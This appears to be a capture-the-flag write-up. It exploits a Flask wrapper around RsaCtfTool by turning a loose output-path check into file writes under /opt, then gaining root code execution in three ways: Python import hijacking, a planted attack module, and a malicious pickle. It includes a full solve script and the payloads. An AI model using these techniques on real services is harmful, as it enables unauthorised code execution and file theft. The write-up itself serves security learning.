Rsactftool
5 minutes to read
We are given with a Flask that essentially allows us to run RsaCtfTool:

import subprocess, os
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
PARAMS_WHITELIST = ['--attack', '-n', '-e','-d','-p','-q', '--private', '--decrypt', '--verbosity', '--cleanup', '--isroca','--output', '--isconspicuous', '--check_publickey', '--timeout']
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
@app.route('/')
def index():
return render_template('index.html')
@app.route('/exec', methods=['POST'])
def exec_tool():
data = request.json
params = data.get('params', [])
if not params:
return jsonify({'error': 'No parameters provided'})
results = []
params_list = []
try:
for param in params:
param_name = param.get('param')
content = param.get('content')
if not param_name or not content:
return '[ERROR]: Missing parameter or content'
elif param_name not in PARAMS_WHITELIST:
return '[ERROR]: Invalid parameter'
params_list.append(param_name)
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
elif param_name == '--attack':
content = content.lower()
else:
content = str(int(content))
params_list.append(content)
except Exception as e:
return str(e)
try:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
except Exception as e:
return str(e)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Source code analysis
Basically, we can use /exec to run RsaCtfTool using the following white-listed parameters:
-n,-e,-c,-p,-q--decrypt--attack--output--verbosity--cleanup--isroca--output--isconspicuous--check_publickey--timeout
However, the relevant options are only 1 through 4, included.
The server will check these parameters and eventually execute the tool:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
Notice that the current working directory is set to /opt/RsaCtfTool.
Also, notice that the --output parameter is checked separately:
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
Where sanitize_path is this function:
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
This allows us to create and write files inside /opt, but not to modify existing files. So, we can get a file write primitive.
For this to work, we need to encrypt the content with RSA and then tell RsaCtfTool to decrypt it for us and output it to the path we desire. Since we can provide the private RSA key, there is no problem.
Solution
The following function will help us writing files on the server:
#!/usr/bin/env python3
import requests
import sys
from Crypto.Util.number import getPrime
URL = 'http://127.0.0.1:5000' if len(sys.argv) == 1 else sys.argv[1]
p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 65537
def write_file(filename: str, content: bytes):
assert len(content) <= 256
m = int(content.ljust(256, b'\n').hex(), 16)
c = pow(m, e, n)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '-p', 'content': p},
{'param': '--decrypt', 'content': c},
{'param': '--output', 'content': filename},
]
})
We need to pad the message up to 256 bytes (2048 bits since we are using RSA-2048) with newlines or whitespaces because otherwise RsaCtfTool will add leading null bytes, and we don’t want that to happen, just to prevent any issue.
There are actually several approaches to solve this challenge. We will go from the easiest to the hardest.
The Python library hijacking way
Remember that we are allowed to write new files at /opt, therefore, we can write into /opt/RsaCtfTool. There is no permission issue because the server is running as root according to the Dockerfile.
Therefore, if we take a look at how RsaCtfTool.py looks like, we see some import statement at the beginning, as usual:

The way import statements work in Python is using the PYTHONPATH environment variable. If it is not set, we can check the path in sys.path:
/app # python3 -q
>>> import sys
>>> sys.path
['', '/usr/local/lib/python313.zip', '/usr/local/lib/python3.13', '/usr/local/lib/python3.13/lib-dynload', '/usr/local/lib/python3.13/site-packages']
The first element of the list is '', which means that import asdf will first check if there is a file asdf.py at the current working directory. If not, it will continue trying other locations on the list.
As a result, we can write a file argparse.py or urllib3.py (or any other package that is not built-in) and execute arbitrary Python code. So, we can use the following Python code to copy the flag file into the static directory of the Flask server, so that we can retrieve it afterwards:
write_file(
'/opt/RsaCtfTool/urllib3.py',
b'import os; os.system("cat /*.* > /app/static/flag.txt")'
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Notice that we need to execute RsaCtfTool.py again to trigger our payload. The command will fail, but we don’t care because the payload will execute successfully.
The new-attack way
Here we will abuse the way RsaCtfTool are loaded. They have a Python file for each attack at attacks and load them dynamically at startup:

Therefore, we can create an exploit.py attack right there, so that it gets loaded. Then we can use --attack exploit to load our controlled attack, which will allow us to get arbitrary Python code execution.
We can take a look at a short example:

So, we can understand that each attack is just a Python class called Attack that extends AbstractAttack and holds methods attack(self, publickey, cipher=[], progress=True) and test(self). As a result, the following will also work to get the flag:
write_file(
'/opt/RsaCtfTool/attacks/single_key/exploit.py',
b'''
from attacks.abstract_attack import AbstractAttack
class Attack(AbstractAttack):
\tdef __init__(self, t=60):
\t\tsuper().__init__(t)
\tdef attack(self, k, c=[], p=True):
\t\timport os; os.system("cat /*.* > /app/static/flag.txt")
\tdef test(self):
\t\tpass
'''[1:])
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'exploit'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Notice that we need to keep the Python class short enough to fit in 256 bytes.
The pickle way
There are more ways to get code execution in Python. If the program deserializes a pickle payload that can be controlled by the user, then it can be vulnerable.
Actually, RsaCtfTool uses pickle:

The rapid7primes is an attack that takes a set of stored prime numbers and tries to factor the public key. These prime numbers are stored in the data directory as compressed pickle payloads:

And there is no limitation on the pickle:

So we can get easy code execution with the following payload:
/app # python3 -q
>>> import pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> pickle.loads(pickle.dumps(Bad()))
root
Let’s write the following code to exploit the server:
import bz2
import pickle
class Bad:
def __reduce__(self):
return exec, ('import os; os.system("cat /*.* > /app/static/flag.txt")', )
write_file(
'/opt/RsaCtfTool/data/exploit.pkl.bz2',
bz2.compress(pickle.dumps(Bad()))
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'rapid7primes'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Flag
With any of these three approaches, we are able to get the flag:
$ python3 solve.py http://hackon-9671f040a28f-rsactftool-1.chals.io
HackOn{I_H0p3_Y0u_s0lv3d_1t_w1th_th3_1nt3nd3d_s0lut10n_4nd_rem3mB3r_r34d_th3_t00ls_b3f0r3_3x3cut1ng_tH3m}